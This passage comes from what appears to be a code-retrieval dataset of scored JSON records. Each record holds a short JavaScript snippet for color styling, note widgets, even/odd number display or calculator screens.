note of this.parentVoiceEntry.Notes) {\n if (note.PrintObject) {\n stemTransparent = false;\n break;\n }\n }\n if (stemTransparent) {\n stemColor = transparentColor;\n }\n const stemStyle = { fillStyle: stemColor, strokeStyle: stemColor };\n if (vfStaveNote && vfStaveNote.setStemStyle) {\n if (!stemTransparent) {\n this.parentVoiceEntry.StemColor = stemColor;\n }\n vfStaveNote.setStemStyle(stemStyle);\n if (vfStaveNote.flag && vfStaveNote.setFlagStyle && this.rules.ColorFlags) {\n vfStaveNote.setFlagStyle(stemStyle);\n }\n }\n }", "title": "" }, { "docid": "1e76a9cdda84e2f318c653e010bcabc4", "score": "0.5456301", "text": "setColorPalette() {\n this.colorSelector.appendChild(common.colorPalette);\n setTimeout(() => {\n common.togglePalette();\n }, 100);\n common.setColorPalette(common.addNoteWrapper);\n }", "title": "" }, { "docid": "1d24f72051dff59656621ff0e16fa804", "score": "0.5447723", "text": "function makeRed(inputDiv){\r\n \tinputDiv.style.backgroundColor=\"#AA0000\";\r\n\t//inputDiv.parentNode.style.backgroundColor=\"#AA0000\";\r\n\tinputDiv.parentNode.style.color=\"#FFFFFF\";\t\t\r\n}", "title": "" }, { "docid": "06a23954b3b3f2e8c312808768381fca", "score": "0.54472995", "text": "function bindColorInputs(ele){\n\tvar name = $(ele).attr('name');\n\t$(ele).css({'backgroundColor':\"#\"+$(ele).val()});\n\t$(ele).ColorPicker({\n\t\t\tcolor\t: \"#\"+$(ele).val(),\n\t\t\tonChange : function(rgb,hex){\n\t\t\t\t$(ele).val(hex);\n\t\t\t\t$(ele).css({'backgroundColor':\"#\"+hex});\n\t\t\t},\n\t\t\tonSubmit : function(rgb,hex){\n\t\t\t\tupdateCss(name,hex);\n\t\t\t\t$(ele).val(hex);\n\t\t\t\t$(ele).css({'backgroundColor':\"#\"+hex});\n\t\t\t}\n\t\t});\n}", "title": "" }, { "docid": "883ea3de8f394639aedfe8072e278fe1", "score": "0.54443705", "text": "function addNewNote(e) {\n var note = document.createElement(\"div\");\n note.className = \"note\";\n e.target.append(note);\n var inp = document.createElement(\"input\");\n inp.className = \"addNote\";\n note.append(inp);\n var ol = document.createElement(\"ol\");\n note.append(ol);\n setTimeout(() => {\n inp.focus()\n }, 10);\n inp.addEventListener(\"blur\", noteFocusOut);\n inp.addEventListener(\"keydown\", addNote);\n}", "title": "" }, { "docid": "d7a225149e3188dadd5459faafde1b83", "score": "0.5443534", "text": "function createAddNoteButton() {\n var element = document.createElement('li');\n element.className = 'add-note';\n element.textContent = \"Add a new note...\";\n element.addEventListener('click', function () {\n var noteElement = createNoteElements([{}])[0];\n document.getElementById('notes').insertBefore(noteElement, this);\n noteElement.focus();\n });\n return element;\n }", "title": "" }, { "docid": "9cf05c7c384c324881324dc30b25e813", "score": "0.54402274", "text": "function displayFavoriteColor() {\r\n //Create a variable to store user input\r\n let userFavoriteColor = document.getElementById('tbFavColor').value;//.value will only get the content from the element/node that we are capturing\r\n //Create a variable for the output element\r\n let colorMessage = document.getElementById('color-message');\r\n //Update the span content and display a message\r\n colorMessage.textContent = userFavoriteColor + \" is my favorite color!\";\r\n //Use JS to add styling\r\n colorMessage.style.backgroundColor = userFavoriteColor;\r\n}", "title": "" }, { "docid": "982d1d4a74b749d9ba6b9722778ab1d4", "score": "0.5436915", "text": "function choice(color) {\n\tdocument.getElementById('background').value = color;\n}", "title": "" }, { "docid": "72a6de71bd6b9ac5c80a6d653c2cf702", "score": "0.54344606", "text": "function addColor () {\n\tvar canvasColor = document.getElementById(\"palette\");\n\tvar rSlider = document.getElementById(\"red-range\");\n\tvar gSlider = document.getElementById(\"green-range\");\n\tvar bSlider = document.getElementById(\"blue-range\");\n\tmodalColor[0] = rSlider.value;\n\tmodalColor[1] = gSlider.value;\n\tmodalColor[2] = bSlider.value;\n\tvar newColor = \"rgb(\" + modalColor[0] + \", \" + modalColor[1] + \", \" +\n\t\t\t\t\tmodalColor[2] + \")\";\n\tcanvasColor.appendChild(addPixel(newColor, true));\n\tpalette.push(newColor);\n\tcurrentColor = palette[palette.length-1];\n\tcloseModal();\n}", "title": "" }, { "docid": "3b6d611c9bf384fd7f5d7cf832b67ff1", "score": "0.5430179", "text": "changeColor_() {\n if (this.color_ == 'red') {\n this.color_ = 'green';\n } else if (this.color_ == 'green') {\n this.color_ = 'blue';\n } else {\n this.color_ = 'red';\n }\n this.getElement().style.backgroundColor = this.color_;\n }", "title": "" }, { "docid": "3634256d41c105cdea6f911f7de61b53", "score": "0.54215276", "text": "function changeColor(event) {\n event.target.innerHTML = event.target.getAttribute(\"data-answer\");\n event.target.style.backgroundColor = \"#999\";\n}", "title": "" }, { "docid": "83156a8adc439b92cc38803fb600b81c", "score": "0.54046136", "text": "function highlight() {\n let relevant = this;\n relevant.setAttribute(\"style\", \"background-color:darkblue;\");\n }", "title": "" }, { "docid": "69c6521991580a66a40b8fd1a2a58a88", "score": "0.5403492", "text": "function addNewTask(e) {\nif(taskInput.value===\"\"){\n taskInput.style.borderColor = \"red\";\n return;\n}\n// Create an li element when the user adds a task \nconst li = document.createElement('li');\n// Adding a class\nli.className = 'collection-item';\n// Create text node and append it \nli.appendChild(document.createTextNode(taskInput.value));\n// Create new element for the link \nconst link = document.createElement('a');\n// Add class and the x marker for a \nlink.className = 'delete-item secondary-content';\nlink.innerHTML = '<i class=\"fa fa-remove\"></i>';\n// Append link to li\nli.appendChild(link);\n// Append to ul \ntaskList.appendChild(li);\n\ntaskInput.value = \"\";\ne.preventDefault(); //disable form submission\n\n}", "title": "" }, { "docid": "6f21bd7fccba37e2e3b599adde04a2c2", "score": "0.54022557", "text": "function highlight() {\n\t[].forEach.call(arguments, function(widget) {\n\t\twidget.setBackground(\"yellow\");\n\t});\n}", "title": "" }, { "docid": "3cd3aa0898e8a593da0008c792ebaf37", "score": "0.54016787", "text": "function updateUiForAddedPlayer (playerInfoObject) {\n gameJoined = playerInfoObject.gameName;\n playerColor = playerInfoObject.playerColor;\n window.alert('You joined: ' + gameJoined + ' Colour: ' + playerColor + '.');\n var colorText = 'Your Color: <input type=\"text\" disabled value=\"' + playerColor + '\">';\n document.getElementById('player_color_placeholder').innerHTML = colorText;\n }//end funct", "title": "" }, { "docid": "161a2dc58a2d215bd52227914fd093b0", "score": "0.5394043", "text": "function add_note(note, edit) {\n var html_str = note_html(note, edit);\n\n // create new DOM element\n var node = $(html_str);\n\n // add to global register\n data_state.notes[note.id] = {\n \"node\": node,\n \"value\": note\n };\n\n // fade in\n $('#notes-tbody').append(node);\n node.show(\"fast\");\n}", "title": "" }, { "docid": "17aff709dfa1ea0588dc437a05f89ef6", "score": "0.5391375", "text": "function changeTxtColor(color) {\n gMeme.lines[gMeme.selectedLineIdx].color = color\n}", "title": "" } ]
40eeb694a71e36fe69d6ff599df8d770
display the numbers and mark even numbers bold display or view function(s)
[ { "docid": "e8127fb55ffc6233864e3a691abb2da9", "score": "0.5950563", "text": "function displayNumbers(numbers){\n let templateRows= \"\";\n for (let index = 0; index < numbers.length; index++) {\n let className = \"even\";\n let number = numbers[index];\n\n if(number % 2 == 0){\n className = \"even\";\n } else {\n className = \"odd\";\n }\n templateRows += `<tr><td class=\"${className}\">${number}</td></tr>`\n }\n document.getElementById(\"results\").innerHTML = templateRows;\n}", "title": "" } ]
[ { "docid": "478e762736ca5ca46acc6e2051e7a7ff", "score": "0.6687964", "text": "function displayNumbers(fluffyKitty) {\n //create a string to hold a class name based on even or odd\n let className = \"even\";\n //create a string that will hold our output\n let templateRows = \"\";\n\n //go through each number in the array and determine if that number is even or odd\n //the '%' modulus operand returns the remainder from division\n //ex. 3 % 2 = 1\n //ex. 100 % 5 = 0\n for (let index = 0; index < fluffyKitty.length; index++) {\n let number = fluffyKitty[index];\n\n if (number % 2 == 0) {\n className = \"even\";\n } else {\n className = \"odd\";\n }\n\n //use string concatenation to create a long string of HTML to display\n templateRows = templateRows + `<tr><td class=\"${className}\">${number}</td></tr>`;\n }\n\n document.getElementById(\"output\").innerHTML = templateRows;\n}", "title": "" }, { "docid": "1d14c837d8104fc16f058dc8a4630fd4", "score": "0.64715195", "text": "function displayF (item)\n\t{\n\t\tlet display = document.querySelector(\"span\");\n\t\tdisplay.textContent = Number(item);\n\t}", "title": "" }, { "docid": "2d4df69b0a7139111e649421e631a403", "score": "0.64542544", "text": "function displayNumber() {\n//allowSecondClick();\ncheckIfZero();\nforbidSecondComma();\ncalcDisplayBottom.innerHTML += this.innerHTML;\n}", "title": "" }, { "docid": "4d046f03d498f5050af7b7169b1bd2c8", "score": "0.6390318", "text": "function convertNumberToLine() {\n var tossOutcome = tossResult();\n\n if (tossOutcome % 2 === 0) {\n return (\"____ ____ even \");\n } else {\n return (\"___________ odd \");\n }\n\n }", "title": "" }, { "docid": "bce3b5c6c4837c7e014c1a8ba16db873", "score": "0.6335622", "text": "function updateDisplay(){\n var num = $(this).text();\n var displayText = display.text();\n if (display.text() == '0'){\n display.text(num);\n } else {\n var output = display.text()+num;\n display.text(output);\n }\n }", "title": "" }, { "docid": "1d7d681456da0cbea76b0a2d0ad79122", "score": "0.62827784", "text": "function displayHelper (num) {\n if (num < 10) {\n return '0' + num.toString()\n } else {\n return num.toString()\n }\n }", "title": "" }, { "docid": "69a1d4540580491dc25276a22d4568af", "score": "0.6266551", "text": "function displayDigit(digit, number) {\n $(digit).find('.lit').removeClass('lit');\n digitDisplaySegments[number].forEach(function (segment) {\n $(digit).find('.' + segment).addClass('lit');\n });\n}", "title": "" }, { "docid": "825128c8c19a1ec234f88fb3c0355d35", "score": "0.6248281", "text": "function showNumbers(limit) {\r\n for (i = 0; i < limit + 1; i++) {\r\n if (i % 2 === 0) console.log(i , \"EVEN\")\r\n else console.log(i , \"ODD\")\r\n }\r\n}", "title": "" }, { "docid": "f034deef0b0c49eaac2246e17242d86b", "score": "0.6225247", "text": "function printDisplay(num) {\n if (num == \"\") {\n document.getElementById(\"display\").innerText = num;\n } else {\n document.getElementById(\"display\").innerText = getFormattedNumber(num);\n }\n}", "title": "" }, { "docid": "0fba66518dee4c064a600f79299fec13", "score": "0.6189148", "text": "function printNumber() {\n\n //Attribution du symbol du bouton cliqué (chiffre) à la variable nb\n let nb = this.getAttribute(\"data-symbol\");\n\n //Affiche le chiffre cliqué dans l'écran (screen)\n screen.textContent += nb;\n\n //On enlève tous les espaces du string (screen) et on met cela dans la variable screenContent\n let screenContent = screen.textContent.replace(/\\s/g, \"\");\n \n //On affiche le résultat de l'équation dans screenResult avec un arrondit à 2 chiffres après la virgule\n screenResult.textContent = `= ${Math.round(eval(screenContent)*100)/100}`;\n\n //On enlève la classe \"result\" au screenResult\n screenResult.classList.remove(\"result\");\n}", "title": "" }, { "docid": "e25b7363ced44ae58a5b0fed04e8216c", "score": "0.6164167", "text": "function showNumber(input) {\n for (let i = 1; i <= input; i++) {\n if (i % 2 !== 0) {\n console.log(i + ' Odd');\n } else {\n console.log(i + ' Even')\n }\n }\n}", "title": "" }, { "docid": "368716c04f4b9f715e1749044af73b20", "score": "0.6133376", "text": "function displayEvenNumbers(array) {\n\t\tfor (let i = 0; i < array.length; i++) {\n\t\t\tif (array[i] % 2 === 0) {\n\t\t\t\tconsole.log(array[i]);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "829cd4f6f88972317ad1cd856fbed842", "score": "0.6133302", "text": "function displayNumbers(evenNumbers) {\r\n for (let i = 0; i < evenNumbers.length; i++) {\r\n console.log(evenNumbers[i]);\r\n }\r\n }", "title": "" }, { "docid": "9ec7d8c575a145c4e0c4c127465bf650", "score": "0.6132923", "text": "function display()\n\t\t{\n\t\t\tvar i;\n\t\t\tvar arr = [];\n\t\t\tfor(i=1;i<dd.value;i++)\n\t\t\t{\n\t\t\t\tif(prime(i))\n\t\t\t\t\tarr[arr.length] = \" \"+i+\" \";\n\t\t\t}\n\t\t\tdocument.getElementById(\"demo\").innerHTML = arr;\n\t\t}", "title": "" }, { "docid": "0cc968c49624cbebd722ab53e4791345", "score": "0.61324596", "text": "function displayDoubleTwo() {\n var output = \"\";\n var i = 2;\n while (i <= 65536) {\n output += i + \"\\n\";\n i *= 2;\n }\n return output;\n }", "title": "" }, { "docid": "c18ad66c7c23cb14a13fc0ea2ff975fc", "score": "0.6094554", "text": "function showNumber(num) {\n for (let i = 0; i <= num; i++) {\n if (i % 2 === 0) {\n console.log(i + ' este par');\n } else {\n console.log(i + ' este impar');\n }\n\n // in loc de if - else:\n // const message = (i % 2 === 0) ? i + \" este par\" : i + \" este impar\";\n // console.log(message);\n }\n}", "title": "" }, { "docid": "11b00b0abae55b0bbec3f1b1ac77ca5b", "score": "0.6091404", "text": "function display(n){\n document.write(\"<br/><font color=red> Value is \"+n+\"</font>\") \n // while display time big logic. \n}", "title": "" }, { "docid": "58cde38f2c82a36c36b55a29e44ec090", "score": "0.60568243", "text": "function tNumber() {\n const [h, k] = [opt.h, opt.k];\n eid(\"tnumber\").innerHTML = `=&nbsp;${h}<sup>2</sup>&nbsp;+&nbsp;(${h})(${k})&nbsp;+&nbsp;${k}<sup>2</sup>&nbsp=&nbsp${h * h + h * k + k * k}`;\n}", "title": "" }, { "docid": "d01d743a632c93c4675debae18bb1164", "score": "0.60311526", "text": "function displayOnScreen() {\n $('.number-button').click(function() {\n\n if ($(this).val() == 0) {\n if (currentNum === 0 && storedNum == 0) {\n return null;\n };\n };\n\n if (currentSetting === 2) {\n\n currentNum = 0;\n storedNum = 0;\n currentSetting = 0;\n };\n\n if (currentNum === 0) {\n currentNum = $(this).val();\n } else {\n currentNum += $(this).val();\n };\n\n if (currentNum.length >= 11) {\n currentNum = currentNum.slice(0, 11)\n };\n\n screen.textContent = currentNum;\n currentIterator = currentNum;\n clickCounter = 0;\n });\n }", "title": "" }, { "docid": "18d73b7ca531621bd7ed38284f09cfe6", "score": "0.60284954", "text": "function printEven(){\n}", "title": "" }, { "docid": "06f8ac89ee4f28dba2f4d1ed856c9ab7", "score": "0.6001941", "text": "function showNumbers(limit) {\n\n for(let jj=0; jj<=limit; jj++) {\n console.log(jj, (jj%2==0) ? \"EVEN\" : \"ODD\");\n }\n}", "title": "" }, { "docid": "ad60c1946f7cb948648d9ca1aa818b9d", "score": "0.6001769", "text": "function showNumbers(limit) {\r\n for (i = 0; i <= limit; i++) {\r\n const message = (i % 2 === 0) ? \"EVEN\" : \"ODD\"\r\n console.log(i, message)\r\n }\r\n}", "title": "" }, { "docid": "8404c5db5dc0de712231a856f44ac62c", "score": "0.5964617", "text": "function changeDisplay(number) {\n resultDisplay.innerText = number;\n}", "title": "" }, { "docid": "2432e8e5b999ae40e8b726b22bd7bfed", "score": "0.5954244", "text": "function displayNumbers(numbers){\n \n let templateRows = \"\";\n\n for (let index = 0; index < numbers.length; index++) {\n \n let number = numbers[index];\n\n if(Number.isInteger(number / 2)){\n templateRows += `<tr><td><strong>${number}</strong></td></tr>`; \n\n }else{\n templateRows += `<tr><td>${number}</td></tr>`; \n }\n\n }\n\n document.getElementById(\"results\").innerHTML = templateRows;\n\n}", "title": "" }, { "docid": "82e8ebb3a92691ba30e2272827e94d6a", "score": "0.59206545", "text": "function findoddeven(){\r\n\r\n var dataprint = 0;\r\n\r\n for(i=0;i<=15;i++){\r\n\r\n if(i===0){\r\n \r\n dataprint = i +' is neither even nor odd <br>' \r\n \r\n }else if(i%2===0){\r\n dataprint += i +' is even <br>' \r\n\r\n }else{\r\n\r\n dataprint += i +' is odd <br>'\r\n \r\n }\r\n }\r\n document.getElementById(\"ans05\").innerHTML=dataprint;\r\n}", "title": "" }, { "docid": "f02df542aaf0fb7ee447022c38670e27", "score": "0.59174377", "text": "function renderNumber(number) {\n numberView.innerText = number\n}", "title": "" }, { "docid": "331d29efc2d222ae2cad939a0926aed7", "score": "0.59145594", "text": "function showNumbers () {\n\t\t_this.disable(true);\n\t\tbuttons.reset();\n\t\tfade(yesnos, false);\n\t\tfade(buttons, true).eventCallback('onComplete', _this.disable, false, _this);\n\n\t\tlizard.followPointer(true);\n\t\tif (_this.agent.visible) { _this.agent.eyesFollowPointer(); }\n\t}", "title": "" }, { "docid": "f5d1b26698f7dd569e3abaaa8f1581c8", "score": "0.59061825", "text": "function displayNumbers(numbers) {\n let templateRows = \"\"\n for (let index = 0; index < numbers.length; index++) {\n let number = numbers[index];\n let className = \"even\";\n\n if (number % 2 == 0) {\n className == \"even\";\n } else {\n className = \"odd\";\n }\n templateRows += `<tr><td class=\"${className}\">${number}</td></tr>`; \n\n }\n document.getElementById(\"results\").innerHTML = templateRows;\n}", "title": "" }, { "docid": "fa00432e0fe86e4414ad65208eb0d0b8", "score": "0.5905213", "text": "function displayOddNumbers(array) {\n\t\tfor (let i = 0; i < array.length; i++) {\n\t\t\tif (array[i] % 2 === 1) {\n\t\t\t\tconsole.log(array[i]);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "2cac278590ef04f184358eccb983878d", "score": "0.58961296", "text": "function display (num) {\n\t// this.num1 = Number(displayNum.innerHTML);\n\tif (num === \".\") {\n\t\tdecimal++; // trigger decimal, increment counter\n\t}\n\telse if (decimal !== 0){\t\t\n\t// decrease the num by decimal times\n\t\tfor (var i = 0; i < decimal;i++){\n\t\t\tnum = num * 0.1;\n\t\t}\n\t\tthis.num1 = this.num1 + num;\n\t\tdecimal++;\n\t}\n\telse {// else add the num to num1\n\t\tthis.num1 = this.num1 * 10 + num;\n\t}\n\tdisplayNum.innerHTML = this.num1;\n}", "title": "" }, { "docid": "ba68e7880a6a0e5bf903425cd86f5ad2", "score": "0.58837277", "text": "function displayCurrentNumber(keyData) {\n if (display || document.getElementById(\"display\").innerText == \"0\") { // If newNumber = true then replace number in display or if number = 0 then also replace\n document.getElementById(\"display\").innerText = keyData; // Display number in display\n equalPressed ? document.getElementById(\"calculation-display\").innerText = keyData : document.getElementById(\"calculation-display\").innerText += keyData;\n equalPressed = false;\n display = false;\n } else if (document.getElementById(\"display\").innerText.length < 10) { // Prevent numbers from being too long && add to current number instead of repleacing number in display\n document.getElementById(\"display\").innerText += keyData;\n document.getElementById(\"calculation-display\").innerText += keyData;\n }\n}", "title": "" }, { "docid": "18869ee54aef6b8754be45e83686dfc6", "score": "0.5882313", "text": "function isEven(num) {\n //WRITE YOUR CODE BETWEEN THIS LINE: ↓ ↓ ↓ ↓\n if (num % 2 == 0) {\n return 'even';\n } else {\n }\n //AND THIS LINE ↑↑↑↑↑\n}", "title": "" }, { "docid": "085c687b65609b225168ad57840c0b90", "score": "0.58578235", "text": "function displayInterests (zero, one, two, three) {\n console.log(\"* \" + zero);\n console.log(\"* \" + one);\n console.log(\"* \" + two);\n console.log(\"* \" + three);\n console.log(\"\");//adds a blank space\n}", "title": "" }, { "docid": "ff76d4fb75f7cdf8024bb7ee57fc73bb", "score": "0.5845323", "text": "function iteration(){\n var numb = \"\";\n \n for (var x=0; x<=15; x++) {\n if (x === 0) {\n numb += \"Iteration No: \"+x+\" where 0 is even \"+\" <br>\" ;\n }\n else if (x % 2 === 0) {\n numb += \"Iteration No: \"+x+\" where \"+x+\" is an even number \"+\" <br>\"; \n }\n else {\n numb += \"Iteration No: \"+x+\" where \"+x+\" is an odd number \"+\" <br>\";\n }\n\n}\n document.getElementById(\"ans5\").innerHTML = numb;\n\n}", "title": "" }, { "docid": "b9f3445a7c08003cb972f48c0b7413c7", "score": "0.5821435", "text": "function isEven(num){\r\n if(num %2 ==0){\r\n return \"this number is even\";\r\n }else {\r\n return \"this number is odd\";\r\n }\r\n }", "title": "" }, { "docid": "dff37ea3bfc8be1adb9bf07e044fb2a2", "score": "0.5820957", "text": "function displayNumber(n){\n if (resultado.textContent == '0' & n=='0') {\n\n }else if (cantDigitos < 8 & first == 0) {\n resultado.innerHTML = '';\n resultado.textContent = resultado.textContent + n;\n first = 1;\n cantDigitos = cantDigitos + 1;\n }else if (cantDigitos < 8 & first == 1) {\n resultado.textContent = resultado.textContent + n;\n cantDigitos = cantDigitos + 1;\n }else if (cantDigitos < 8 & first == 2 ){\n resultado.textContent = resultado.textContent + n;\n puntoPermitido = 0;\n first = 1 ;\n }\n}", "title": "" }, { "docid": "7ce3e5b4cd619a8175655a53cb38edb0", "score": "0.5806955", "text": "function even (a){\n if (a % 2 === 0){\n console.log( Even )\n }else {\n console.log( odd)\n }\n\n}", "title": "" }, { "docid": "a40494c76c286af367ffad0cf10a5873", "score": "0.5806865", "text": "function displaySpace(num) {\r\n\tget(\"invSpace\").style.display = \"block\";\r\n\tget(\"invSpace\").innerHTML = num + \" / 20\"; \r\n}", "title": "" }, { "docid": "8e861f9cc271c1d2249c371ccfa939f8", "score": "0.5796027", "text": "function displayScores() {\n score0El.innerText = score0;\n score1El.innerText = score1;\n }", "title": "" }, { "docid": "c3eebd11f486782088dd70846221fcb2", "score": "0.57929635", "text": "function showNumbers(limit) {\n for (i = 0; i <= limit; i++) {\n // this works too\n if (i % 2 === 0) {\n console.log(i, \"Even\");\n } else {\n console.log(i, \"Odd\");\n }\n\n // Solution\n // const message = i % 2 === 0 ? \"EVEN\" : \"ODD\";\n // console.log(i, message);\n }\n}", "title": "" }, { "docid": "4b5e591855092821043f6f4a1be8b6f4", "score": "0.57824266", "text": "function seDisplay(data, type, row, meta) {\n if(type === \"display\") {\n return formatNum(row[meta.col-1]) + \" (\" + formatNum(data) +\")\";\n } else {\n return toNumber(row[meta.col-1]);\n }\n }", "title": "" }, { "docid": "7353dad203e0d1dad7e7fb83993273eb", "score": "0.57805115", "text": "function oddNumbers(){// function named oddNumbers\n for(var odd=50; odd<=100; odd++){// declare a variable odd and assign 50 to it, set a condition that it should be less than or equal to 100 and increment the variable odd\n if(odd%2!=0){// if the variable odd when divided by 2 is not equal to zero\n document.write(\"\\n\" + odd + \",\"); //then print the variable\n \n }\n }\n}", "title": "" }, { "docid": "fad457565a0191b45745a7554ec9bbc5", "score": "0.5777938", "text": "function Even() {\n for (var i = 0; i <=10; i++){ // \n if ((i % 2) == 0) // if remainder of i % 2 = 0 then its even\n console.log(i + \" Even \\n\");\n }\n }", "title": "" }, { "docid": "e5d49f8914042df3419b4bd1f7b9198e", "score": "0.5775221", "text": "getDisplayNumber(number) {\n return number;\n }", "title": "" }, { "docid": "34c63c58e882516ac0824be23cc28ef2", "score": "0.5767146", "text": "function myIncrementFunction() {\n \n// checking if number is even\n if (number % 2 == 0) {\n document.getElementById(\"evenNums\").innerHTML += number + \" \";\n // else the number is odd\n } else {\n document.getElementById(\"oddNums\").innerHTML += number + \" \";\n }\n //increment the number\n number++;\n \n}", "title": "" }, { "docid": "a4e8b4919f602d469d3cf7d2f06adabd", "score": "0.57596743", "text": "function display(num) {\r\n outputScreen.value += num;\r\n}", "title": "" }, { "docid": "3d0c1e84af4c28f1c5a96e4aa7fb54bb", "score": "0.575657", "text": "function toggleShowNum() {\n if (showNum) {\n // hide numbers, show boxes\n // change text, change showNum\n $('.value_num').css({'visibility': 'hidden'});\n $('.value table').css({'visibility': 'visible'});\n $('#showNum').text('Show Box Count');\n showNum = false;\n } else {\n // show numbers, hide boxes\n // change text, change showNum\n $('.value_num').css({'visibility': 'visible'});\n $('.value table').css({'visibility': 'hidden'});\n $('#showNum').text('Show Box Dots');\n showNum = true;\n }\n\n // automatically sets it to box numbers if over the limit of dots\n for (var i=0;i<10;i++) {\n if (boxVal[i] > 15) {\n $('#boxes li:nth-child('+(i+1)+') .value_num').css({'visibility': 'visible'});\n $('#boxes li:nth-child('+(i+1)+') table').css({'visibility': 'hidden'});\n }\n }\n}", "title": "" }, { "docid": "1c93816c41c2c1e6f85e3c10cc2375ee", "score": "0.5750897", "text": "_checkOddEven() {\n let number = $('input#odd-even-number').val()\n if (number.length) {\n Number(number) % 2 === 0 ? _tip(`${number}是偶数~`) : _tip(`${number}是奇数~`)\n } else {\n _tip(`你还没有输入数字呢~`)\n }\n }", "title": "" }, { "docid": "9a56a46c993d0654dc8d211dd7551d1e", "score": "0.5748311", "text": "function displayDigit(digit) {\r\n const displayMainText = displayMain.textContent;\r\n if(regexOperators.test(displayMainText[displayMainText.length-1])) {\r\n displayChain.textContent += displayMainText;\r\n displayMain.textContent = digit;\r\n } \r\n else {\r\n displayMain.textContent += digit;\r\n }\r\n \r\n}", "title": "" }, { "docid": "4eb237b793a1bdbe1bde32ad6dc285ee", "score": "0.5738943", "text": "function isEven() {\n if (num % 2 == 0)\n return (\"even\");\n else \n return (\"odd\");\n }", "title": "" }, { "docid": "0248a5250990a244d477b1fc0497b3e6", "score": "0.57228684", "text": "function print(num, oddOrEven) {\r\n for (let x = 0; x <= num; x++) {\r\n if (oddOrEven == \"even\") {\r\n if (x % 2 == 0) {\r\n console.log(x);\r\n }\r\n } else {\r\n if (x % 2 == 1) {\r\n console.log(x);\r\n }\r\n }\r\n }\r\n}", "title": "" }, { "docid": "f734e60c6c244debd6ab5072f351a1cd", "score": "0.5717123", "text": "function downRight(pHeight, pColorEven, pColorOdd, pSymbol){\nvar rLine =\"\";\nfor (i=pHeight;i > 0;i--){\nrLine +=\"<p>\";\n\nfor(j=0;j<i;j++){\n\nif (j%2) \nrLine +=\"<span style='color:\" + pColorEven + \";'>\" + pSymbol +\"</span>\";\nelse\nrLine +=\"<span style='color:\" + pColorOdd + \";'>\" + pSymbol +\"</span>\";\n\n}\nrLine +=\"</p>\";\n\n}\n\ndocument.getElementById(\"downRight\").innerHTML = rLine;\n}", "title": "" }, { "docid": "26cc956aebbbca937e51cf3f4dc84ad1", "score": "0.56996286", "text": "function printColorfulNums(n){\n let result = '<ul>\\n';\n for (let i = 1; i <= n; i++) {\n if(i % 2 === 0){\n result += `'<li><span style=\"color:blue\">${i}</span></li>\\n'`\n }\n else{\n result += `'<li><span style=\"color:green\">${i}</span></li>\\n'`\n }\n }\n result += '</ul>';\n return result;\n }", "title": "" }, { "docid": "efba36e1732e5ed7a6554d8c798335ac", "score": "0.56982", "text": "function isEven() {\n var num = document.getElementById('num').value;\n var message;\n if(num%2 == 0){\n message = \"number\"+num+\" is even\";\n } \n else{\n message = \"number\"+num+\" is odd\";\n }\n document.getElementById('r').innerHTML=message;\n}", "title": "" }, { "docid": "157cf960dca2068b43ef85af7e852304", "score": "0.5690711", "text": "function evenNumerics(numbers) {\n\n }", "title": "" }, { "docid": "ff3609d6b32e6bc58569ff2ee64d26b8", "score": "0.5685299", "text": "function displayNumbers(numbers) {\n\n //0 first indiex value\n //99 last index value\n //length = 100\n\n // 0,1,2,3,4,5,6\n let startValue = numbers[0];\n let endIndex = numbers.length; //=100\n\n let tableBody = document.getElementById(\"results\");\n //Clears out previous results\n tableBody.innerHTML = \"\";\n\n for (let index = 1; index < endIndex; index++) {\n\n let tableRow = \"\";\n //get the actual number\n let number = numbers[index];\n\n if (number % 3 == 0) {\n //the number is even\n tableRow = `<tr><td class=\"fizzDisplay\">Fizz</td></tr>`;\n } else if (number % 5 == 0) {\n //the number is odd\n tableRow = `<tr><td class=\"buzzDisplay\">Buzz</td></tr>`;\n\n } else {\n tableRow = `<tr><td>${number}</td></tr>`;\n\n }\n\n\n tableBody.innerHTML += tableRow;\n }\n}", "title": "" }, { "docid": "1f56fa250160ca52b13195df6e25bb5a", "score": "0.56840706", "text": "function display(){\n\n\t\t\t$(\"#number\").html(randNum);\n\t\t\t$(\"#winsLosses\").html(\"<p>Wins: \" + wins + \"</p><br>\"\n\t\t\t\t+ \"<p>Losses: \" + losses + \"</p>\");\n\t\t\t$(\"#totalScore\").html(totalScore);\n\n\t\t}", "title": "" }, { "docid": "8ccd54c14a1b0f06ed36e995c0f0ec80", "score": "0.56769985", "text": "function evenNumbers() {\n for (let i = 0; i < 10; i++) {\n \tif (i % 2 === 0) {\n \t\tconsole.log(`${i} are even`);\n \t} else {\n \t\tconsole.log(`${i} are not even`);\n \t}\n \t//const isEven = i % 2 === 0 ? 'even' : 'not even';\n \t//console.log(`${i} are ${isEven}`);\n }\n}", "title": "" }, { "docid": "d91da19a0b2f6cbb6b4dfe4b320490d4", "score": "0.5671463", "text": "function displayValue(value) {\r\n if (isNumber(value) && String(value).length > 14) value = value.toExponential(6);\r\n\r\n value = String(value);\r\n\r\n let sign = \"\";\r\n // If there is a sign ignore adding commas\r\n if (value[0] === \"-\" || value[0] === \"+\") {\r\n sign = value[0];\r\n value = value.slice(1);\r\n }\r\n\r\n // If it is a float number ignore commas after the dot\r\n let after_dot = \"\";\r\n if (isFloatNum(value)) {\r\n let dot_id = value.indexOf(\".\");\r\n after_dot = value.slice(dot_id);\r\n value = value.slice(0, dot_id);\r\n }\r\n\r\n let displayed_value = value;\r\n\r\n // Add commas every 3 characters\r\n if (value.length >= 4) {\r\n for (let i = value.length - 1; i >= 0; i--) {\r\n if (i % 3 === 0 && i != 0) displayed_value = displayed_value.slice(0, -i) + \",\" + displayed_value.slice(-i);\r\n }\r\n }\r\n // Display \r\n screen.innerHTML = sign + displayed_value + after_dot;\r\n}", "title": "" }, { "docid": "85ec3032d7a9b9997f216ffa5b92f3f0", "score": "0.5667304", "text": "function help(){\n console.log(\"1. Addition\");\n console.log('2. Subtraction');\n console.log(\"3. Multiplication\");\n console.log(\"4. Division\");\n console.log(\"5. Check whether a number is even\");\n console.log(\"6. Check whether a number is odd\");\n console.log(\"7. Print the sum of numbers before a given number\");\n console.log(\"8. Square\");\n console.log(\"9. Exit\");\n}", "title": "" }, { "docid": "a39cb6d73270c02f2e8bf9fc285a41d5", "score": "0.56619674", "text": "function display(target) {\r\n // check that if target contain operator class\r\n if (target.classList.contains(\"operator\")) {\r\n // check if result section is not an Error or empty string\r\n if (\r\n displayResult.textContent != \"\" &&\r\n displayResult.textContent != \"Error\"\r\n ) {\r\n // check that if the last char of result screen is an operator\r\n if (/(×|÷|\\+|-|%)$/.test(displayResult.textContent)) 